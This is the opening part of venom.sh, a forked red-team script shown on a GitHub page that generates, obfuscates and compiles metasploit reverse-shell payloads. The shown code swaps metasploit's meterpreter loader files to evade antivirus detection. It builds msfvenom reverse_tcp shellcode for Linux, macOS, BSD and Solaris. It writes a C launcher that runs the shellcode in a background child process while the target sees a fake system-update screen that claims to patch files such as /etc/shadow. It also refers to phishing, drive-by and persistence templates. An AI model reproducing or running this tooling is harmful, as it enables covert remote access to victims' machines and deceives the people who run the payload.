forked from r00t-3xp10it/venom
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathvenom.sh
executable file
·13704 lines (11521 loc) · 625 KB
/
venom.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/bin/sh
# --------------------------------------------------------------
# venom - metasploit Shellcode generator/compiler/listenner
# Author: pedr0 Ubuntu [r00t-3xp10it] version: 1.0.16
# Suspicious-Shell-Activity (SSA) RedTeam develop @2017 - @2019
# codename: aconitum_nappelus [ GPL licensed ]
# --------------------------------------------------------------
# [DEPENDENCIES]
# "venom.sh will download/install all dependencies as they are needed"
# Zenity | Metasploit | GCC (unix) | Pyinstaller (python-to-exe module)
# mingw32 (compile .EXE executables) | pyherion.py (crypter)
# PEScrambler.exe (PE obfuscator/scrambler) | apache2 webserver
# vbs-obfuscator | encrypt_PolarSSL | ettercap (dns_spoof) | WINE
# --------------------------------------------------------------
# Resize terminal windows size befor running the tool (gnome terminal)
# Special thanks to h4x0r Milton@Barra for this little piece of heaven! :D
resize -s 40 105 > /dev/null
# --------------------
# check if user is root
# ---------------------
if [ $(id -u) != "0" ]; then
echo "[x] we need to be root to run this script..."
echo "[x] execute [ sudo ./venom.sh ] on terminal"
exit
fi
# ------------------------------
# Make sure ZENITY its installed
# ------------------------------
zen=$(which zenity)
if ! [ "$?" -eq "0" ]; then
echo "[x] zenity............................[ NOT found ]";sleep 12
echo "[i] Please Wait, installing dependencie...";sleep 2
sudo apt-get install zenity
sleep 2;clear
fi
# -----------------------------------
# Colorise shell Script output leters
# -----------------------------------
Colors() {
Escape="\033";
white="${Escape}[0m";
RedF="${Escape}[31m";
GreenF="${Escape}[32m";
YellowF="${Escape}[33m";
BlueF="${Escape}[34m";
CyanF="${Escape}[36m";
Reset="${Escape}[0m";
}
Colors;
# ----------------------
# variable declarations
# ----------------------
OS=`uname` # grab OS
H0m3=`echo ~` # grab home path
ver="1.0.16" # script version display
C0d3="aconitum_nappelus" # version codename display
user=`who | awk {'print $1'}` # grab username
# user=`who | cut -d' ' -f1 | sort | uniq` # grab username
DiStR0=`awk '{print $1}' /etc/issue` # grab distribution - Ubuntu or Kali
IPATH=`pwd` # grab venom.sh install path (home/username/shell)
# ------------------------------------------------------------------------
# funtions [templates] to be injected with shellcode
# ------------------------------------------------------------------------
Ch4Rs="$IPATH/output/chars.raw" # shellcode raw output path
InJEc="$IPATH/templates/exec.c" # exec script path
InJEc2="$IPATH/templates/exec.py" # exec script path
InJEc3="$IPATH/templates/exec_bin.c" # exec script path
InJEc4="$IPATH/templates/exec.rb" # exec script path
InJEc5="$IPATH/templates/exec_dll.c" # exec script path
InJEc6="$IPATH/templates/hta_attack/exec.hta" # exec script path
InJEc7="$IPATH/templates/hta_attack/index.html" # hta index path
InJEc8="$IPATH/templates/InvokePS1.bat" # invoke-shellcode script path
InJEc9="$IPATH/templates/exec0.py" # exec script path
InJEc10="$IPATH/templates/InvokeMeter.bat" # exec script path
InJEc11="$IPATH/templates/exec.php" # php script path
# phishing webpages to trigger RCE or downloads
InJEc12="$IPATH/templates/phishing/mega.html" # fake webpage script path
InJEc13="$IPATH/templates/phishing/driveBy.html" # fake webpage script path
InJEc14="$IPATH/templates/hta_attack/index.html" # fake webpage script path
InJEc15="$IPATH/templates/exec_psh.c" # c script path
InJEc16="$IPATH/templates/exec.jar" # jar script path
# -------------------------------------------
# SETTINGS FILE FUNTION (venom-main/settings)
# -------------------------------------------
ChEk=`cat settings | egrep -m 1 "MSF_REBUILD" | cut -d '=' -f2` > /dev/null 2>&1
MsFu=`cat settings | egrep -m 1 "MSF_UPDATE" | cut -d '=' -f2` > /dev/null 2>&1
ApAcHe=`cat settings | egrep -m 1 "APACHE_WEBROOT" | cut -d '=' -f2` > /dev/null 2>&1
D0M4IN=`cat settings | egrep -m 1 "MEGAUPLOAD_DOMAIN" | cut -d '=' -f2` > /dev/null 2>&1
DrIvC=`cat settings | egrep -m 1 "WINE_DRIVEC" | cut -d '=' -f2` > /dev/null 2>&1
MsFlF=`cat settings | egrep -m 1 "MSF_LOGFILES" | cut -d '=' -f2` > /dev/null 2>&1
PyIn=`cat settings | egrep -m 1 "PYTHON_VERSION" | cut -d '=' -f2` > /dev/null 2>&1
PiWiN=`cat settings | egrep -m 1 "PYINSTALLER_VERSION" | cut -d '=' -f2` > /dev/null 2>&1
pHanTom=`cat settings | egrep -m 1 "POST_EXPLOIT_DIR" | cut -d '=' -f2` > /dev/null 2>&1
ArCh=`cat settings | egrep -m 1 "SYSTEM_ARCH" | cut -d '=' -f2` > /dev/null 2>&1
UUID_RANDOM_LENGTH="70" # build 23 uses random keys (comments) to evade signature detection (default 70)
EnV=`hostnamectl | grep Chassis | awk {'print $2'}` > /dev/null 2>&1
# --------------------------------------------
# Config user system correct arch (wine+mingw)
# --------------------------------------------
if [ "$ArCh" = "x86" ]; then
arch="wine"
ComP="i586-mingw32msvc-gcc"
elif [ "$ArCh" = "x64" ]; then
arch="wine64"
ComP="i686-w64-mingw32-gcc"
else
echo ${RedF}[x]${white} ERROR: Wrong value input: [ $ArCh ]: not accepted ..${Reset}
echo ${RedF}[x]${white} Edit [ settings ] File and Set the var: SYSTEM_ARCH= ${Reset}
sleep 3
exit
fi
# -----------------------------------------
# msf postgresql database connection check?
# -----------------------------------------
if [ "$ChEk" = "ON" ]; then
echo ${BlueF}
cat << !
╔─────────────────────────────────────────────────╗
| postgresql metasploit database connection fix |
╚─────────────────────────────────────────────────╝
!
#
# start msfconsole to check postgresql connection status
#
service postgresql start
echo ${BlueF}[☠]${white} Checking msfdb connection status ..${Reset}
ih=`msfconsole -q -x 'db_status; exit -y' | awk {'print $3'}`
if [ "$ih" != "connected" ]; then
echo ${RedF}[x]${white} postgresql selected, no connection ..${Reset}
echo ${BlueF}[☠]${white} Please wait, rebuilding msf database ..${Reset}
# rebuild msf database (database.yml)
echo ""
msfdb reinit | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Rebuild metasploit database" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
echo ""
echo ${BlueF}[✔]${white} postgresql connected to msf ..${Reset}
sleep 2
else
echo ${BlueF}[✔]${white} postgresql connected to msf ..${Reset}
sleep 2
fi
fi
# -----------------------------------------------
# update metasploit database before running tool?
# -----------------------------------------------
if [ "$MsFu" = "ON" ]; then
echo ${BlueF}
cat << !
╔─────────────────────────────────────────────────╗
| please wait fetching latest metasploit modules |
╚─────────────────────────────────────────────────╝
!
xterm -T " UPDATING MSF DATABASE " -geometry 110x23 -e "msfconsole -x 'msfupdate; exit -y' && sleep 2"
fi
# -----------------------------------------------
# venom framework configurated to store logfiles?
# -----------------------------------------------
if [ "$MsFlF" = "ON" ]; then
echo ${BlueF}
cat << !
╔─────────────────────────────────────────────────╗
| venom framework configurated to store logfiles |
╚─────────────────────────────────────────────────╝
!
sleep 2
fi
# ---------------------------------------------
# grab Operative System distro to store IP addr
# output = Ubuntu OR Kali OR Parrot OR BackBox
# ---------------------------------------------
InT3R=`netstat -r | grep "default" | awk {'print $8'}` # grab interface in use
case $DiStR0 in
Kali) IP=`ifconfig $InT3R | egrep -w "inet" | awk '{print $2}'`;;
Debian) IP=`ifconfig $InT3R | egrep -w "inet" | awk '{print $2}'`;;
Mint) IP=`ifconfig $InT3R | egrep -w "inet" | awk '{print $2}' | cut -d ':' -f2`;;
Ubuntu) IP=`ifconfig $InT3R | egrep -w "inet" | cut -d ':' -f2 | cut -d 'B' -f1`;;
Parrot) IP=`ifconfig $InT3R | egrep -w "inet" | cut -d ':' -f2 | cut -d 'B' -f1`;;
BackBox) IP=`ifconfig $InT3R | egrep -w "inet" | cut -d ':' -f2 | cut -d 'B' -f1`;;
elementary) IP=`ifconfig $InT3R | egrep -w "inet" | cut -d ':' -f2 | cut -d 'B' -f1`;;
*) IP=`zenity --title="☠ Input your IP addr ☠" --text "example: 192.168.1.68" --entry --width 300`;;
esac
clear
# ------------------------------------
# end of script internal settings and
# display credits befor running module
# ------------------------------------
# - CodeName: $C0d3 -
echo ${BlueF} && clear && cat << !
__ _ ______ ____ _ _____ ____ __
\ \ //| ___|| \ | |/ \| \ / |
\ \// | ___|| \| || || \/ |
\__/ |______||__/\____|\_____/|__/\__/|__|
!
echo "${RedF} Shellcode_Generator${white}::${RedF}CodeName${white}::${RedF}$C0d3${white}::${RedF}SSA(redteam)2019${BlueF}"
echo " ╔────────────────────────────────────────────────────────────────╗"
echo " | ${YellowF}The main goal of this tool its not to build 'FUD' payloads!${BlueF} |"
echo " | ${YellowF}But to give to its users the first glance of how shellcode is${BlueF} |"
echo " | ${YellowF}build, embedded into one template (any language), obfuscated${BlueF} |"
echo " | ${YellowF}(e.g pyherion.py) and compiled into one executable file.${BlueF} |"
echo " ╠────────────────────────────────────────────────────────────────╝"
echo " | Author:r00t-3xp10it | Suspicious_Shell_Activity (red_team)"
echo " ╘ VERSION:${YellowF}$ver ${BlueF}USER:${YellowF}$user ${BlueF}INTERFACE:${YellowF}$InT3R ${BlueF}ARCH:${YellowF}$ArCh ${BlueF}DISTRO:${YellowF}$DiStR0"${Reset}
echo "" && echo ""
sleep 1
echo ${BlueF}[☠]${white} Press [${GreenF} ENTER ${white}] to continue ..${Reset}
read op
# -----------------------------------------
# check dependencies (msfconsole + apache2)
# -----------------------------------------
imp=`which msfconsole`
if [ "$?" -eq "0" ]; then
echo "msfconsole found" > /dev/null 2>&1
else
echo ""
echo ${RedF}[x]${white} msfconsole -> not found!${Reset}
echo ${BlueF}[☠]${white} This script requires msfconsole to work!${Reset}
sleep 2
exit
fi
apc=`which apache2`
if [ "$?" -eq "0" ]; then
echo "apache2 found" > /dev/null 2>&1
else
echo ""
echo ${RedF}[x]${white} apache2 -> not found!${Reset}
echo ${BlueF}[☠]${white} This script requires apache2 to work!${Reset}
sleep 2
echo ""
echo ${BlueF}[☠]${white} Please run: cd aux && sudo ./setup.sh${Reset}
echo ${BlueF}[☠]${white} to install all missing dependencies...${Reset}
exit
fi
# --------------------------------------------
# start metasploit/postgresql/apache2 services
# --------------------------------------------
if [ "$DiStR0" = "Kali" ]; then
service postgresql start | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Starting postgresql service" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
/etc/init.d/apache2 start | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Starting apache2 webserver" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
else
/etc/init.d/metasploit start | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Starting metasploit service" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
/etc/init.d/apache2 start | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Starting apache2 webserver" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
fi
clear
# -----------------------------------------------
# arno0x0x meterpreter loader random bytes stager
# -----------------------------------------------
Chts=`cat settings | egrep -m 1 "RANDOM_STAGER_BYTES" | cut -d '=' -f2` > /dev/null 2>&1
ArNo=`cat settings | egrep -m 1 "METERPRETER_STAGER" | cut -d '=' -f2` > /dev/null 2>&1
if [ "$Chts" = "ON" ]; then
if [ -e "$IPATH/obfuscate/meterpreter_loader.rb" ]; then
echo ${BlueF}[${GreenF}✔${BlueF}]${white} arno0x0x meterpreter loader random bytes stager: active ..${Reset}
sleep 2
else
echo ${BlueF}
cat << !
╔─────────────────────────────────────────────────────────────────────╗
| arno0x0x meterpreter_loader random bytes stager av bypass technic |
| --- |
| This setting forces venom toolkit at startup to backup/replace the |
| msf meterpreter_loader.rb (x86) and is counter part (x64) adding an |
| arbitrary number of random bytes at the beginning of the stage being|
|sent back to the stager in an attempt to evade AV signature detection|
╚─────────────────────────────────────────────────────────────────────╝
!
sleep 2
# backup msf modules
echo ${BlueF}[☠]${white} Backup default msf modules ..${Reset}
sleep 1
echo "$ArNo/meterpreter_loader.rb"
cp $ArNo/meterpreter_loader.rb $IPATH/obfuscate/meterpreter_loader.rb
echo "$ArNo/x64/meterpreter_loader.rb"
cp $ArNo/x64/meterpreter_loader.rb $IPATH/obfuscate/meterpreter_loader_64.rb
# replace default modules
echo ${BlueF}[☠]${white} Replace default modules by venom modules ..${Reset}
sleep 1
cp $IPATH/aux/msf/meterpreter_loader.rb $ArNo/meterpreter_loader.rb > /dev/null 2>&1
cp $IPATH/aux/msf/meterpreter_loader_64.rb $ArNo/x64/meterpreter_loader.rb > /dev/null 2>&1
# start postgresql + reload msfdb
echo ${BlueF}[☠]${white} Rebuild/Reload msf database ..${Reset}
sleep 1
msfdb reinit | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Rebuild metasploit database" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
msfconsole -q -x 'reload_all; exit -y' | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Reload metasploit database" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
echo ${BlueF}[${GreenF}✔${BlueF}]${white} arno0x0x meterpreter loader random bytes stager: active ..${Reset}
sleep 2
fi
fi
clear
# ----------------------------------
# bash trap ctrl-c and call ctrl_c()
# ----------------------------------
trap ctrl_c INT
ctrl_c() {
echo "${RedF}[x]${white} CTRL+C PRESSED -> ABORTING TASKS!"${Reset}
sleep 1
echo ${BlueF}[☠]${white} Cleanning temp generated files...${Reset}
# just in case :D !!!
# revert [templates] backup files to default stages
mv $IPATH/templates/exec[bak].c $InJEc > /dev/null 2>&1
mv $IPATH/templates/exec[bak].py $InJEc2 > /dev/null 2>&1
mv $IPATH/templates/exec_bin[bak].c $InJEc3 > /dev/null 2>&1
mv $IPATH/templates/exec[bak].rb $InJEc4 > /dev/null 2>&1
mv $IPATH/templates/exec_dll[bak].c $InJEc5 > /dev/null 2>&1
mv $IPATH/templates/hta_attack/exec[bak].hta $InJEc6 > /dev/null 2>&1
mv $IPATH/templates/hta_attack/index[bak].html $InJEc7 > /dev/null 2>&1
mv $IPATH/templates/InvokePS1[bak].bat $InJEc8 > /dev/null 2>&1
mv $IPATH/templates/exec0[bak].py $InJEc9 > /dev/null 2>&1
mv $IPATH/templates/exec[bak].php $InJEc11 > /dev/null 2>&1
mv $IPATH/templates/phishing/mega[bak].html $InJEc12 > /dev/null 2>&1
mv $IPATH/templates/phishing/driveBy[bak].html $InJEc13 > /dev/null 2>&1
mv $IPATH/templates/web_delivery[bak].bat $IPATH/templates/web_delivery.bat > /dev/null 2>&1
mv $IPATH/templates/evil_pdf/PDF-encoder[bak].py PDF-encoder.py > /dev/null 2>&1
mv $IPATH/aux/persistence[bak].rc $IPATH/aux/persistence.rc > /dev/null 2>&1
mv $IPATH/aux/persistence2[bak].rc $IPATH/aux/persistence2.rc > /dev/null 2>&1
mv $IPATH/aux/privilege_escalation[bak].rc $IPATH/aux/privilege_escalation.rc > /dev/null 2>&1
mv $IPATH/aux/msf/enigma_fileless_uac_bypass[bak].rb $IPATH/aux/msf/enigma_fileless_uac_bypass.rb > /dev/null 2>&1
# delete temp generated files
rm $IPATH/templates/phishing/copy.html > /dev/null 2>&1
rm $IPATH/templates/trigger.raw > /dev/null 2>&1
rm $IPATH/templates/obfuscated.raw > /dev/null 2>&1
rm $IPATH/templates/copy.c > /dev/null 2>&1
rm $IPATH/templates/copy2.c > /dev/null 2>&1
rm $IPATH/templates/final.c > /dev/null 2>&1
rm $IPATH/output/chars.raw > /dev/null 2>&1
rm $IPATH/output/sedding.raw > /dev/null 2>&1
rm $IPATH/output/payload.raw > /dev/null 2>&1
rm $IPATH/templates/evil_pdf/template.raw > /dev/null 2>&1
rm $IPATH/templates/evil_pdf/template.c > /dev/null 2>&1
rm $IPATH/bin/*.ps1 > /dev/null 2>&1
rm $IPATH/bin/*.vbs > /dev/null 2>&1
rm -r $H0m3/.psploit > /dev/null 2>&1
rm $IPATH/bin/sedding.raw > /dev/null 2>&1
rm $IPATH/obfuscate/final.vbs > /dev/null 2>&1
# delete temp files from apache webroot
rm $ApAcHe/installer.bat > /dev/null 2>&1
rm $ApAcHe/trigger.sh > /dev/null 2>&1
rm $ApAcHe/index.html > /dev/null 2>&1
rm $ApAcHe/*.apk > /dev/null 2>&1
rm $ApAcHe/*.exe > /dev/null 2>&1
rm $ApAcHe/*.py > /dev/null 2>&1
rm $ApAcHe/*.bat > /dev/null 2>&1
rm $ApAcHe/*.deb > /dev/null 2>&1
# delete pyinstaller temp files
rm $IPATH/*.spec > /dev/null 2>&1
rm -r $IPATH/dist > /dev/null 2>&1
rm -r $IPATH/build > /dev/null 2>&1
# delete rtf files
rm /tmp/shell.exe > /dev/null 2>&1
rm $ApAcHe/shell.exe > /dev/null 2>&1
rm $ApAcHe/index.html > /dev/null 2>&1
rm $ApAcHe/$N4m.rtf > /dev/null 2>&1
# icmp (ping) shell
if [ "$ICMPDIS" = "disabled" ]; then
echo "${RedF}[x]${white} Local ICMP Replies are disable (enable ICMP replies)${white}"
sysctl -w net.ipv4.icmp_echo_ignore_all=0 >/dev/null 2>&1
fi
rm $ApAcHe/$N4m.zip > /dev/null 2>&1
rm $ApAcHe/$N4m.bat > /dev/null 2>&1
rm $ApAcHe/icmpsh.exe > /dev/null 2>&1
# exit venom.sh
echo ${BlueF}[☠]${white} Exit Shellcode Generator...${Reset}
echo ${BlueF}[☠]${white} [_Codename:$C0d3]${Reset}
sleep 1
if [ "$DiStR0" = "Kali" ]; then
service postgresql stop | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Stop postgresql service" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
/etc/init.d/apache2 stop | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Stop apache2 service" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
else
/etc/init.d/metasploit stop | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Stop metasploit service" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
/etc/init.d/apache2 stop | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Stop apache2 service" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
fi
cd $IPATH
cd ..
sudo chown -hR $user shell > /dev/null 2>&1
# -----------------------
# arno0x0x av obfuscation
# ----------------------
if [ "$Chts" = "ON" ]; then
if [ -e "$IPATH/obfuscate/meterpreter_loader.rb" ]; then
# backup msf modules
echo ${BlueF}[${GreenF}✔${BlueF}]${white} arno0x0x meterpreter loader random bytes stager: revert ..${Reset}
echo ${BlueF}[☠]${white} Revert default msf modules ..${Reset}
sleep 1
cp $IPATH/obfuscate/meterpreter_loader.rb $ArNo/meterpreter_loader.rb
cp $IPATH/obfuscate/meterpreter_loader_64.rb $ArNo/x64/meterpreter_loader.rb
rm $IPATH/obfuscate/meterpreter_loader.rb
rm $IPATH/obfuscate/meterpreter_loader_64.rb
# reload msfdb
echo ${BlueF}[☠]${white} Rebuild/Reload msf database ..${Reset}
sleep 1
msfdb reinit | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Rebuild metasploit database" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
msfconsole -q -x 'reload_all; exit -y' | zenity --progress --pulsate --title "☠ PLEASE WAIT ☠" --text="Reload metasploit database" --percentage=0 --auto-close --width 300 > /dev/null 2>&1
else
echo ${RedF}[x]${white} no backup msf modules found..${Reset}
sleep 2
fi
fi
exit
}
# -------------------------------------------------END OF SCRIPT SETTINGS------------------------------------->
# ---------------------------------------------
# build shellcode in C format
# targets: Apple | BSD | LINUX | SOLARIS
# ---------------------------------------------
sh_shellcode1 () {
# get user input to build shellcode
echo ${BlueF}[☠]${white} Enter shellcode settings!${Reset}
lhost=$(zenity --title="☠ Enter LHOST ☠" --text "example: $IP" --entry --width 300) > /dev/null 2>&1
if [ "$?" -eq "0" ]; then
lport=$(zenity --title="☠ Enter LPORT ☠" --text "example: 666" --entry --width 300) > /dev/null 2>&1
# input payload choise
paylo=$(zenity --list --title "☠ SHELLCODE GENERATOR ☠" --text "\nAvailable Payloads:" --radiolist --column "Pick" --column "Option" TRUE "linux/ppc/shell_reverse_tcp" FALSE "linux/x86/shell_reverse_tcp" FALSE "linux/x86/meterpreter/reverse_tcp" FALSE "linux/x64/shell/reverse_tcp" FALSE "linux/x64/shell_reverse_tcp" FALSE "linux/x64/meterpreter/reverse_tcp" FALSE "osx/armle/shell_reverse_tcp" FALSE "osx/ppc/shell_reverse_tcp" FALSE "osx/x64/shell_reverse_tcp" FALSE "bsd/x86/shell/reverse_tcp" FALSE "bsd/x64/shell_reverse_tcp" FALSE "solaris/x86/shell_reverse_tcp" --width 350 --height 460) > /dev/null 2>&1
N4m=$(zenity --entry --title "☠ PAYLOAD NAME ☠" --text "Enter payload output name\nexample: shellcode" --width 300) > /dev/null 2>&1
echo ${BlueF}[☠]${white} editing/backup files...${Reset};
## setting default values in case user have skip this ..
if [ -z "$lhost" ]; then lhost="$IP";fi
if [ -z "$lport" ]; then lport="443";fi
if [ -z "$N4m" ]; then N4m="shellcode";fi
echo "${BlueF}[☠]${white} Building shellcode -> C format ..."${Reset};
sleep 2
# display final settings to user
cat << !
venom settings
╔─────────────────────
| LPORT : $lport
| LHOST : $lhost
| NAME : $N4m
| FORMAT : C -> UNIX
|_PAYLOAD : $paylo
!
# use metasploit to build shellcode
xterm -T " SHELLCODE GENERATOR " -geometry 110x23 -e "msfvenom -p $paylo LHOST=$lhost LPORT=$lport -f c -o $IPATH/output/chars.raw"
echo ""
# display generated shelcode
cat $IPATH/output/chars.raw
echo ""
sleep 2
# parsing shellcode data
cmd=$(cat $IPATH/output/chars.raw | grep -v "=")
# check if all dependencies needed are installed
# check if chars.raw as generated
if [ -e $Ch4Rs ]; then
echo "${BlueF}[☠]${white} chars.raw -> found!"${Reset};
sleep 2
else
echo "${RedF}[x]${white} chars.raw -> not found!"${Reset};
exit
fi
# check if gcc exists
c0m=`which gcc`> /dev/null 2>&1
if [ "$?" -eq "0" ]; then
echo "${BlueF}[☠]${white} gcc compiler -> found!"${Reset};
sleep 2
else
echo "${RedF}[x]${white} gcc compiler -> not found!"${Reset};
echo "${BlueF}[☠]${white} Download compiler -> apt-get install gcc"${Reset};
echo ""
sudo apt-get install gcc
echo ""
fi
## EDITING/BACKUP FILES NEEDED
cp $InJEc $IPATH/templates/exec[bak].c
# -----------------
# BUILD C TEMPLATE
# -----------------
echo "#include<stdio.h>" > $IPATH/output/exec.c
echo "#include<stdlib.h>" >> $IPATH/output/exec.c
echo "#include<string.h>" >> $IPATH/output/exec.c
echo "#include<sys/types.h>" >> $IPATH/output/exec.c
echo "#include<sys/wait.h>" >> $IPATH/output/exec.c
echo "#include<unistd.h>" >> $IPATH/output/exec.c
echo "" >> $IPATH/output/exec.c
echo "/*" >> $IPATH/output/exec.c
echo "Author: r00t-3xp10it" >> $IPATH/output/exec.c
echo "Framework: venom v1.0.16" >> $IPATH/output/exec.c
echo "gcc -fno-stack-protector -z execstack exec.c -o $N4m" >> $IPATH/output/exec.c
echo "*/" >> $IPATH/output/exec.c
echo "" >> $IPATH/output/exec.c
echo "/* msfvenom -p $paylo LHOST=$lhost LPORT=$lport -f c */" >> $IPATH/output/exec.c
echo "unsigned char kungfu[] =" >> $IPATH/output/exec.c
echo "$cmd" >> $IPATH/output/exec.c
echo "" >> $IPATH/output/exec.c
echo "int main()" >> $IPATH/output/exec.c
echo "{" >> $IPATH/output/exec.c
echo "/*" >> $IPATH/output/exec.c
echo "This fork(); function allow us to spawn a new child process (in background). This way i can" >> $IPATH/output/exec.c
echo "execute shellcode in background while continue the execution of the C program in foreground." >> $IPATH/output/exec.c
echo "Article: https://www.geeksforgeeks.org/zombie-and-orphan-processes-in-c" >> $IPATH/output/exec.c
echo "*/" >> $IPATH/output/exec.c
echo "fflush(NULL);" >> $IPATH/output/exec.c
echo "int pid = fork();" >> $IPATH/output/exec.c
echo " if (pid > 0) {" >> $IPATH/output/exec.c
echo " /* We are running in parent process (as foreground job). */" >> $IPATH/output/exec.c
echo " printf(\"Please Wait, Updating system ..\\\n\\\n\");" >> $IPATH/output/exec.c
echo " /* Display system information onscreen to target user */" >> $IPATH/output/exec.c
echo " sleep(1);system(\"h=\$(hostnamectl | grep 'Static' | cut -d ':' -f2);echo \\\"Hostname :\$h\\\"\");" >> $IPATH/output/exec.c
echo " system(\"k=\$(hostnamectl | grep 'Kernel' | cut -d ':' -f2);echo \\\"Kernel :\$k\\\"\");" >> $IPATH/output/exec.c
echo " system(\"b=\$(hostnamectl | grep 'Boot' | cut -d ':' -f2);echo \\\"Boot ID :\$b\\\"\");" >> $IPATH/output/exec.c
echo " sleep(2);printf(\"\\\n\");" >> $IPATH/output/exec.c
echo " system(\"OP=\$(hostnamectl | grep 'Operating' | awk {'print \$3'});echo \\\"Hit:1 http://\$OP.download/\$OP \$OP-rolling/contrib\\\"\");" >> $IPATH/output/exec.c
echo " printf(\"------------------------------------------------------\\\n\");" >> $IPATH/output/exec.c
echo " sleep(1);system(\"for i in 1023.8353.9354:/daemon 7384.8400.8112:/etc/apt 3305.6720.2201:/etc/bin 6539.3167.1200:/etc/cron 4739.0473.4370:/etc/systemd 9164.0257.0034:/etc/passwd 1023.2559.0076:/etc/crontab 3945.4401.5037:/etc/fork.sys 4406.4490.2320:/etc/drive.sys 1288.3309.9955:/etc/PSmanager 1992.9909.1234:/etc/synaptic 4856.4845.6677:/etc/sources.list 4400.0079.0001:/etc/shadow;do dt=\$(date|awk {'print \$4,\$5,\$6'});echo \\\"\$dt - PATCHING: \$i\\\" && sleep 1;done\");" >> $IPATH/output/exec.c
echo " printf(\"------------------------------------------------------\\\n\");" >> $IPATH/output/exec.c
echo " printf(\"Please Wait, finishing update process ..\\\n\");" >> $IPATH/output/exec.c
echo " sleep(2);printf(\"Done...\\\n\");" >> $IPATH/output/exec.c
echo " }" >> $IPATH/output/exec.c
